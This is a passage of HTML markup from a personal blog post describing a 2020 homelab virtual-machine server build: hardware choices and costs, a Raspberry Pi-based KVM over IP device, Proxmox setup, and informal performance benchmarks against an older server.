 srcset='https://mtlynch.io/building-a-vm-homelab/supermicro-mbd-x10dal_hu_c6ef5a2541e63150.jpg 300w, https://mtlynch.io/building-a-vm-homelab/supermicro-mbd-x10dal_hu_9d9860c917c64177.jpg 600w, https://mtlynch.io/building-a-vm-homelab/supermicro-mbd-x10dal_hu_7f71b9b0736637b7.jpg 800w, https://mtlynch.io/building-a-vm-homelab/supermicro-mbd-x10dal_hu_3141ae4f9c6267e1.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/supermicro-mbd-x10dal.jpg 1280w'
 src="https://mtlynch.io/building-a-vm-homelab/supermicro-mbd-x10dal.jpg" alt="Photo of SuperMicro MBD-X10DAL-I-O motherboard" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The downside of a dual-CPU system was that it limited my options for motherboards. Only a handful of motherboards support dual Intel 2011-v3 CPUs. Their prices ranged from $300 to $850, which was far more than I expected to spend on a motherboard.&lt;/p>
&lt;p>I chose the &lt;a href="https://www.newegg.com/supermicro-mbd-x10dal-i-o-intel-xeon-processor-e5-2600-v4-v3-family/p/N82E16813182967">SuperMicro MBD-X10DAL-I-O&lt;/a>, which at $320 was lower in price than similar motherboards, but it was still &lt;strong>five times&lt;/strong> what I paid for &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/#motherboard">my last one&lt;/a>.&lt;/p>
&lt;h3 id="memory">Memory&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img align-right" style="max-width: 200px">



 &lt;a href="https://www.newegg.com/cooler-master-hyper-212-black-edition-rr-212s-20pk-r1/p/N82E16835103278?Item=N82E16835103278">
 &lt;img
 
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/crucial-ct4k16g4rfd4213_hu_d2352382901a99f6.jpg 300w, https://mtlynch.io/building-a-vm-homelab/crucial-ct4k16g4rfd4213_hu_78b71b23e8a17980.jpg 600w, https://mtlynch.io/building-a-vm-homelab/crucial-ct4k16g4rfd4213_hu_c05bfb9e25bdb1a4.jpg 800w, https://mtlynch.io/building-a-vm-homelab/crucial-ct4k16g4rfd4213.jpg 1120w'
 src="https://mtlynch.io/building-a-vm-homelab/crucial-ct4k16g4rfd4213.jpg" alt="Photo of Crucial RAM sticks" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>There seems to be a lot less informed choice for server memory. With consumer hardware, plenty of websites publish reviews and benchmarks of different RAM sticks, but I didn&amp;rsquo;t see anything like that for server RAM.&lt;/p>
&lt;p>I went with &lt;a href="https://www.newegg.com/crucial-64gb-288-pin-ddr4-sdram/p/N82E16820148843?Item=9SIAHZUB514397">Crucial CT4K16G4RFD4213 64 GB (4 x 16 GB)&lt;/a> because I trusted the brand. I chose 64 GB because &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/#memory">my previous build had 32 GB&lt;/a>, and some of my workflows were approaching that limit, so I figured doubling RAM would cover me for the next few years.&lt;/p>
&lt;h3 id="storage">Storage&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img align-right" style="max-width: 200px">



 &lt;a href="https://www.newegg.com/cooler-master-hyper-212-black-edition-rr-212s-20pk-r1/p/N82E16835103278?Item=N82E16835103278">
 &lt;img
 
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/ssd_hu_150656d645a7fb2.jpg 300w, https://mtlynch.io/building-a-vm-homelab/ssd_hu_e397722670e2fed5.jpg 600w, https://mtlynch.io/building-a-vm-homelab/ssd_hu_d9df6fbb76155224.jpg 800w, https://mtlynch.io/building-a-vm-homelab/ssd.jpg 832w'
 src="https://mtlynch.io/building-a-vm-homelab/ssd.jpg" alt="Photo of Samsung 860 EVO" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I love M.2 SSDs, as they&amp;rsquo;re small, perform outstandingly, and neatly tuck away in the motherboard without any cabling. Sadly, the MBD-X10DAL doesn&amp;rsquo;t support the M.2 interface.&lt;/p>
&lt;p>Instead, I stuck with traditional old SATA. I bought a &lt;a href="https://www.newegg.com/samsung-860-evo-series-1tb/p/N82E16820147673?Item=N82E16820147673">1 TB Samsung 860 EVO&lt;/a>. I typically allocate 40 GB of space to each VM, so 1 TB would give me plenty of room. If I need to upgrade later, I can always buy more disks.&lt;/p>
&lt;h3 id="power">Power&lt;/h3>













 








 
 
 

 
 
 






&lt;div class="img align-left" style="max-width: 200px">



 &lt;a href="https://www.newegg.com/cooler-master-hyper-212-black-edition-rr-212s-20pk-r1/p/N82E16835103278?Item=N82E16835103278">
 &lt;img
 
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/psu_hu_220a88deb7c8862c.jpg 300w, https://mtlynch.io/building-a-vm-homelab/psu_hu_ba54dbc41d2db1d9.jpg 600w, https://mtlynch.io/building-a-vm-homelab/psu.jpg 641w'
 src="https://mtlynch.io/building-a-vm-homelab/psu.jpg" alt="Photo of Corsair CX550M 550W 80 Plus Bronze" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Choosing a power supply unit (PSU) isn&amp;rsquo;t that interesting, so I again chose mainly by trusted brand, the &lt;a href="https://www.newegg.com/corsair-cx-series-cx550m-550w/p/N82E16817139147?Item=N82E16817139147">Corsair CX550M 550W 80 Plus Bronze&lt;/a>.&lt;/p>
&lt;p>The wattage on all of my components added up to 400 W, so 450 W would have been sufficient. But the 550 W version was only $10 more, which seemed like a fair price for an extra 100 W of breathing room.&lt;/p>
&lt;p>The only other important feature to me was semi-modular cabling. In my last build, I made the mistake of using non-modular cabling, which meant that all of the PSU cables stay attached permanently. My server barely has any internal components, so the extraneous power cables created clutter. With semi-modular cabling, I can keep things tidy by removing unused cables from the PSU.&lt;/p>
&lt;h3 id="fans">Fans&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img align-right" style="max-width: 200px">



 &lt;a href="https://www.newegg.com/cooler-master-hyper-212-black-edition-rr-212s-20pk-r1/p/N82E16835103278?Item=N82E16835103278">
 &lt;img
 
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/hyper-212_hu_ca9247052dd7c86e.jpg 300w, https://mtlynch.io/building-a-vm-homelab/hyper-212_hu_8717915651b509b8.jpg 600w, https://mtlynch.io/building-a-vm-homelab/hyper-212_hu_6c1aa8b4ef38c7bc.jpg 800w, https://mtlynch.io/building-a-vm-homelab/hyper-212.jpg 835w'
 src="https://mtlynch.io/building-a-vm-homelab/hyper-212.jpg" alt="Photo of Hyper 212 CPU fan" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The dual-CPU build made cooling an unexpected challenge. The MBD-X10DAL doesn&amp;rsquo;t leave much space between the two CPU sockets, so I looked carefully for fans thin enough to work side-by-side. A pair of &lt;a href="https://www.newegg.com/cooler-master-hyper-212-black-edition-rr-212s-20pk-r1/p/N82E16835103278?Item=N82E16835103278">Cooler Master Hyper 212s&lt;/a> fit the bill.&lt;/p>
&lt;h3 id="case">Case&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img align-left" style="max-width: 200px">



 &lt;a href="https://www.newegg.com/black-fractal-design-meshify-c-atx-mid-tower/p/N82E16811352085?Item=N82E16811352085">
 &lt;img
 
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/fractal-meshify_hu_b73d5ead05734e3f.jpg 300w, https://mtlynch.io/building-a-vm-homelab/fractal-meshify_hu_909e27761081f94a.jpg 600w, https://mtlynch.io/building-a-vm-homelab/fractal-meshify_hu_5a936a5a03bff04c.jpg 800w, https://mtlynch.io/building-a-vm-homelab/fractal-meshify_hu_4be53f05df91a833.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/fractal-meshify.jpg 2067w'
 src="https://mtlynch.io/building-a-vm-homelab/fractal-meshify.jpg" alt="Photo of Fractal Meshify C case" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My server sits inconspicuously in the corner of my office, so I didn&amp;rsquo;t want a case with clear panels or flashy lights.&lt;/p>
&lt;p>The &lt;a href="https://www.newegg.com/black-fractal-design-meshify-c-atx-mid-tower/p/N82E16811352085?Item=N82E16811352085">Fractal Design Meshify C Black&lt;/a> had positive reviews and seemed like a simple, quiet case.&lt;/p>
&lt;h3 id="graphics">Graphics&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img align-right" style="max-width: 200px">



 &lt;a href="https://www.newegg.com/black-fractal-design-meshify-c-atx-mid-tower/p/N82E16811352085?Item=N82E16811352085">
 &lt;img
 
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/msi-geforce-gt-710_hu_c9a3dbffdbf94780.jpg 300w, https://mtlynch.io/building-a-vm-homelab/msi-geforce-gt-710_hu_ec94d220e8f57603.jpg 600w, https://mtlynch.io/building-a-vm-homelab/msi-geforce-gt-710_hu_b03564c7d67c2d70.jpg 800w, https://mtlynch.io/building-a-vm-homelab/msi-geforce-gt-710_hu_8d495e3211a6dec6.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/msi-geforce-gt-710.jpg 1280w'
 src="https://mtlynch.io/building-a-vm-homelab/msi-geforce-gt-710.jpg" alt="Photo of MSI GeForce GT170 GPU" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>For a headless server, the graphics card doesn&amp;rsquo;t matter much. It&amp;rsquo;s still necessary so I can see the screen during the initial install and the occasional debugging session, so I went with the &lt;a href="https://www.newegg.com/msi-geforce-gt-710-gt-710-1gd3h-lp/p/N82E16814127931?Item=N82E16814127931">MSI GeForce GT 710&lt;/a> as a cheap, easy option.&lt;/p>
&lt;h3 id="remote-administration">Remote administration&lt;/h3>
&lt;p>I looked into remote administration solutions and was blown away by how expensive they were. At first, I thought I&amp;rsquo;d use a Dell iDRAC, but the remote console requires a &lt;a href="https://mtlynch.io/tinypilot/idrac-price.png">$300 enterprise license&lt;/a> and constrains my build to Dell components. I looked at KVM over IP solutions, but those were even more expensive, ranging from $600 to $1,000.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/raritan-kvm.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/raritan-kvm_hu_b0f62fadeafb1a42.png 300w, https://mtlynch.io/building-a-vm-homelab/raritan-kvm_hu_90bca10c12fe494c.png 600w, https://mtlynch.io/building-a-vm-homelab/raritan-kvm_hu_aa8c4f013436a53a.png 800w, https://mtlynch.io/building-a-vm-homelab/raritan-kvm.png 1157w'
 src="https://mtlynch.io/building-a-vm-homelab/raritan-kvm.png" alt="Screenshot of purchsase page for Raritan Dominion KVM over IP" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Commercial KVM over IP devices cost between $500 and $1,000.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>To achieve remote administration, I took the unusual approach of &lt;a href="https://mtlynch.io/tinypilot">building my own KVM over IP device&lt;/a> out of a Raspberry Pi. I call it &lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a>.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 260px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/tinypilot-server.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 260px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/tinypilot-server_hu_5966e0e6e8a0023a.jpg 300w, https://mtlynch.io/building-a-vm-homelab/tinypilot-server_hu_3255ac9c07769f48.jpg 600w, https://mtlynch.io/building-a-vm-homelab/tinypilot-server_hu_bdb71c49dee90d0f.jpg 800w, https://mtlynch.io/building-a-vm-homelab/tinypilot-server_hu_114f2674e223dcbc.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/tinypilot-server.jpg 1200w'
 src="https://mtlynch.io/building-a-vm-homelab/tinypilot-server.jpg" alt="Photo of TinyPilot plugged into server" loading="lazy"/>
 &lt;/a>



&lt;/div>



&lt;a href="bios-mouse.gif">&lt;img src="bios-mouse.gif" alt="Screen capture of Proxmox install through TinyPilot" class="img" style="width: 500px; max-width: 100%; object-fit: contain;">&lt;/a>


 &lt;/div>
 &lt;figcaption>&lt;p>Using &lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> to install an OS on my server&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>TinyPilot captures HDMI output and forwards keyboard and mouse input from the browser. It provides the same access you&amp;rsquo;d have if you physically connected a real keyboard, mouse, and monitor. The software is &lt;a href="https://github.com/tiny-pilot/tinypilot">open-source&lt;/a>, and I offer pre-made versions for purchase.&lt;/p>
&lt;h2 id="my-2020-server-build">My 2020 server build&lt;/h2>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Category&lt;/th>
 &lt;th>Component&lt;/th>
 &lt;th>I paid&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>CPU&lt;/td>
 &lt;td>&lt;a href="https://ark.intel.com/content/www/us/en/ark/products/81908/intel-xeon-processor-e5-2680-v3-30m-cache-2-50-ghz.html">Intel Xeon E5-2680 v3&lt;/a> (x2, used)&lt;/td>
 &lt;td>$264.82&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Motherboard&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/supermicro-mbd-x10dal-i-o-intel-xeon-processor-e5-2600-v4-v3-family/p/N82E16813182967">SuperMicro MBD-X10DAL-I-O&lt;/a>&lt;/td>
 &lt;td>$319.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Disk&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/samsung-860-evo-series-1tb/p/N82E16820147673?Item=N82E16820147673">Samsung 860 EVO (1TB)&lt;/a>&lt;/td>
 &lt;td>$149.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Memory&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/crucial-64gb-288-pin-ddr4-sdram/p/N82E16820148843?Item=9SIAHZUB514397">Crucial CT4K16G4RFD4213 64GB (4 x 16GB)&lt;/a>&lt;/td>
 &lt;td>$285.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Power&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/corsair-cx-series-cx550m-550w/p/N82E16817139147?Item=N82E16817139147">Corsair CX550M 550W 80 Plus Bronze&lt;/a>&lt;/td>
 &lt;td>$79.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Graphics&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/msi-geforce-gt-710-gt-710-1gd3h-lp/p/N82E16814127931?Item=N82E16814127931">MSI GeForce GT 710&lt;/a>&lt;/td>
 &lt;td>$44.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Case&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/black-fractal-design-meshify-c-atx-mid-tower/p/N82E16811352085?Item=N82E16811352085">Fractal Design Meshify C Black&lt;/a>&lt;/td>
 &lt;td>$84.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>CPU Fans&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/cooler-master-hyper-212-black-edition-rr-212s-20pk-r1/p/N82E16835103278?Item=N82E16835103278">Cooler Master Hyper 212&lt;/a> (x2)&lt;/td>
 &lt;td>$72.98&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Remote administration&lt;/td>
 &lt;td>&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> (KVM over IP)&lt;/td>
 &lt;td>$65.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;/td>
 &lt;td>&lt;strong>$1,368.74&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p> &lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/cable-management-1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/cable-management-1_hu_fea61d9b4ed7c55f.jpg 300w, https://mtlynch.io/building-a-vm-homelab/cable-management-1_hu_53ef0c7358cc9aeb.jpg 600w, https://mtlynch.io/building-a-vm-homelab/cable-management-1_hu_82b7ddc3c4f55405.jpg 800w, https://mtlynch.io/building-a-vm-homelab/cable-management-1_hu_956ce12c7b2d6e25.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/cable-management-1.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab/cable-management-1.jpg" alt="Photo of outer side of empty case" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/cable-management-2.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/cable-management-2_hu_381ae5d4a0c41ae2.jpg 300w, https://mtlynch.io/building-a-vm-homelab/cable-management-2_hu_c383545c9bae840a.jpg 600w, https://mtlynch.io/building-a-vm-homelab/cable-management-2_hu_a0d117b29cbc9358.jpg 800w, https://mtlynch.io/building-a-vm-homelab/cable-management-2_hu_4290c514c44dbb49.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/cable-management-2.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab/cable-management-2.jpg" alt="Photo of empty case interior" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The Meshify C has been my all-time favorite case for cable management. Its built-in velcro straps organize the cables, and little rubber dividers hide them in the far side of the case.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p> &lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/installing-cpu.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/installing-cpu_hu_a4447cf62054bfb4.jpg 300w, https://mtlynch.io/building-a-vm-homelab/installing-cpu_hu_77a9f33edd7a7915.jpg 600w, https://mtlynch.io/building-a-vm-homelab/installing-cpu_hu_cc478502f6e3d6b5.jpg 800w, https://mtlynch.io/building-a-vm-homelab/installing-cpu_hu_b6e71bc3062d341.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/installing-cpu.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab/installing-cpu.jpg" alt="Photo of motherboard with CPUs installed" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/install-everything.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/install-everything_hu_c5754826fabb4420.jpg 300w, https://mtlynch.io/building-a-vm-homelab/install-everything_hu_104ff4da9df19f7a.jpg 600w, https://mtlynch.io/building-a-vm-homelab/install-everything_hu_be2ce0ffafbbe1d8.jpg 800w, https://mtlynch.io/building-a-vm-homelab/install-everything_hu_a9c4c90ac7983d0c.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/install-everything.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab/install-everything.jpg" alt="Photo of motherboard with all components installed" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Installing the motherboard, CPU, RAM, and fans&lt;/p>&lt;/figcaption>
&lt;/figure>














 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/build-completed.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/build-completed_hu_ec6fe35c0820d491.jpg 300w, https://mtlynch.io/building-a-vm-homelab/build-completed_hu_63b3ae01b5bc5d27.jpg 600w, https://mtlynch.io/building-a-vm-homelab/build-completed_hu_fc090fed4766f9f8.jpg 800w, https://mtlynch.io/building-a-vm-homelab/build-completed_hu_98e59292baf64d81.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/build-completed.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab/build-completed.jpg" alt="My completed homelab VM server build" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My completed build in its new home&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="vm-management-proxmox">VM Management: Proxmox&lt;/h2>
&lt;p>To manage my VMs, I&amp;rsquo;m using &lt;a href="https://www.proxmox.com/en/">Proxmox VE&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/proxmox-summary.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/proxmox-summary_hu_c5e813a4723c3ea1.png 300w, https://mtlynch.io/building-a-vm-homelab/proxmox-summary_hu_3540663fffb6e96d.png 600w, https://mtlynch.io/building-a-vm-homelab/proxmox-summary_hu_786acbe0768cd022.png 800w, https://mtlynch.io/building-a-vm-homelab/proxmox-summary_hu_5eefc0a38d2c2f1e.png 1200w, https://mtlynch.io/building-a-vm-homelab/proxmox-summary.png 1278w'
 src="https://mtlynch.io/building-a-vm-homelab/proxmox-summary.png" alt="Screenshot of Proxmox dashboard" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Proxmox&amp;rsquo;s dashboard of all my VMs&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>After &lt;a href="#2-pick-better-vm-management-software">Kimchi burned me&lt;/a> on my last build, I was reluctant to try another free solution. &lt;a href="https://www.proxmox.com/en/">Proxmox&lt;/a> has been around for 12 years, so I felt like they were a safe enough bet. Graphics-wise, it&amp;rsquo;s a huge step up from Kimchi, but it lags behind ESXi in slickness.&lt;/p>
&lt;p>The part of Proxmox that I most appreciate is its scriptability. One of my frequent tasks is creating a new VM from a template and then using &lt;a href="https://docs.ansible.com/ansible/latest/index.html">Ansible&lt;/a> to install additional software. With ESXi, I couldn&amp;rsquo;t find a way to do this without manually clicking buttons in the web UI every time. With Proxmox, &lt;a href="https://pve.proxmox.com/pve-docs/pve-admin-guide.html#_managing_virtual_machines_with_span_class_monospaced_qm_span">their CLI&lt;/a> is powerful enough that I can script it down to just &lt;code>./create-vm whatgotdone-dev&lt;/code> and my scripts create a fresh &lt;a href="https://whatgotdone.com">What Got Done&lt;/a> development VM.&lt;/p>
&lt;p>My biggest complaint is that Proxmox is unintuitive. I couldn&amp;rsquo;t even figure out how to install it until I found &lt;a href="https://www.youtube.com/watch?v=azORbxrItOo">Craft Computing&amp;rsquo;s installation tutorial&lt;/a>. But once you learn your way around, it&amp;rsquo;s easy to use.&lt;/p>
&lt;h2 id="benchmarks">Benchmarks&lt;/h2>
&lt;p>Before I decommissioned my old VM server, I collected simple benchmarks of my common workflows to measure performance improvements.&lt;/p>
&lt;p>Most of my old VMs ran on network storage because its local SSD only had room for a couple of VMs. In the benchmarks below, I compare performance in three different scenarios:&lt;/p>
&lt;ul>
&lt;li>2017 Server (NAS): The typical VM I kept on network storage&lt;/li>
&lt;li>2017 Server (SSD): For the few VMs I kept on local storage&lt;/li>
&lt;li>2020 Server: All VMs run on local SSD, so there&amp;rsquo;s no NAS vs. SSD&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 &lt;strong>Caveat&lt;/strong>: These are not rigorous tests. I collected one sample for each workflow and did nothing to normalize conditions across tests.
&lt;/div>

&lt;h3 id="provision-a-new-vm">Provision a new VM&lt;/h3>
&lt;p>The first benchmark I took was provisioning a new VM. I have a standard Ubuntu 18.04 VM template I use for almost all of my VMs. Every time I need a new VM, I run a shell script that performs the following steps:&lt;/p>
&lt;ol>
&lt;li>Clone the VM from the base template.&lt;/li>
&lt;li>Boot the VM.&lt;/li>
&lt;li>Change the hostname from &lt;code>ubuntu&lt;/code> to whatever the VM&amp;rsquo;s name is.&lt;/li>
&lt;li>Reboot the VM to pick up the new hostname.&lt;/li>
&lt;li>Pick up the latest software with &lt;code>apt update &amp;amp;&amp;amp; apt upgrade&lt;/code>.&lt;/li>
&lt;/ol>




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 645px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/provision-vm.png">
 &lt;img
 
 sizes="(min-width: 768px) 645px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/provision-vm_hu_180447296992346c.png 300w, https://mtlynch.io/building-a-vm-homelab/provision-vm_hu_24c9c12457438ead.png 600w, https://mtlynch.io/building-a-vm-homelab/provision-vm.png 645w'
 src="https://mtlynch.io/building-a-vm-homelab/provision-vm.png" alt="Graph showing 2020 server outperforms my 2017 server on both NAS and SSD" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My new server brought a huge speedup to this workflow. Cloning a VM went from 15 minutes on my old server to less than four minutes on the new one.&lt;/p>
&lt;p>If I skip the package upgrade step, the speedup is a little less impressive. The new server still blows away performance on NAS storage, dropping from eight minutes to just under two and a half. SSD to SSD, it underperforms my previous server. Cloning a VM is likely disk-bound, and my old M.2 SSD was faster than my new SATA SSD.&lt;/p>
&lt;h3 id="boot-a-vm">Boot a VM&lt;/h3>
&lt;p>From the moment I power on a VM, how long does it take for me to see the login prompt?&lt;/p>




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 645px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/boot-vm.png">
 &lt;img
 
 sizes="(min-width: 768px) 645px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/boot-vm_hu_fce7e185ec227eaf.png 300w, https://mtlynch.io/building-a-vm-homelab/boot-vm_hu_541e4d0ccf001fac.png 600w, https://mtlynch.io/building-a-vm-homelab/boot-vm.png 645w'
 src="https://mtlynch.io/building-a-vm-homelab/boot-vm.png" alt="Graph showing 2017 server completed in 48.5 seconds on NAS, 32.4 seconds on SSD vs. my 2020 server completed in 18.5 seconds" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My old VMs booted in 48 seconds. The few SSD VMs on my old system did a little better, showing the login prompt in 32 seconds. My new server blows both away, booting up a VM in only 18 seconds.&lt;/p>
&lt;h3 id="run-what-got-done-end-to-end-tests">Run What Got Done end-to-end tests&lt;/h3>
&lt;p>My weekly journaling app, &lt;a href="https://whatgotdone.com">What Got Done&lt;/a>, has automated tests that exercise its functionality end-to-end. This is one of my most diverse workflows — it involves compiling a Go backend, compiling a Vue frontend, building a series of Docker containers, and automating Chrome to exercise my app. This was one of the workflows that exhausted resources on my old VM, so I expected substantial gains here.&lt;/p>




&lt;figure class="video" style="max-width: 600px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="wgt-test.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;/div>
&lt;/figure>





















 
 
 

 
 
 






&lt;div class="img" style="max-width: 645px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/build-wgt.png">
 &lt;img
 
 sizes="(min-width: 768px) 645px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/build-wgt_hu_2e6e605992363898.png 300w, https://mtlynch.io/building-a-vm-homelab/build-wgt_hu_c03a4f946e88cd.png 600w, https://mtlynch.io/building-a-vm-homelab/build-wgt.png 645w'
 src="https://mtlynch.io/building-a-vm-homelab/build-wgt.png" alt="Graph showing 2017 SSD server completed in 5.4 minutes vs. 2020 server completed in 5.6 minutes" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Surprisingly, there was no significant performance difference between the two servers. For a cold start (downloading all of the Docker base images), the new server is 2% slower than the old one. When the base Docker images are available locally, my new server beats my old, but only by 6%. It looks like the bottleneck is mainly the disk and browser interaction, so the new server doesn&amp;rsquo;t make much of a difference.&lt;/p>
&lt;h3 id="build-is-it-keto">Build Is It Keto&lt;/h3>
&lt;p>One frequent workflow I have is building &lt;a href="https://isitketo.org">Is It Keto&lt;/a>, my resource for keto dieters. I generate the site using &lt;a href="https://gridsome.org/">Gridsome&lt;/a>, a static site generator for &lt;a href="https://vuejs.org/">Vue&lt;/a>.&lt;/p>




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 645px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/build-isitketo.png">
 &lt;img
 
 sizes="(min-width: 768px) 645px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/build-isitketo_hu_ec42d6f4d7f6f494.png 300w, https://mtlynch.io/building-a-vm-homelab/build-isitketo_hu_3e550c89463392a2.png 600w, https://mtlynch.io/building-a-vm-homelab/build-isitketo.png 645w'
 src="https://mtlynch.io/building-a-vm-homelab/build-isitketo.png" alt="Graph showing 2017 SSD server completed in 3.7 minutes vs. 2020 server completed in 4 minutes" loading="lazy"/>
 &lt;/a>



&lt;/div>


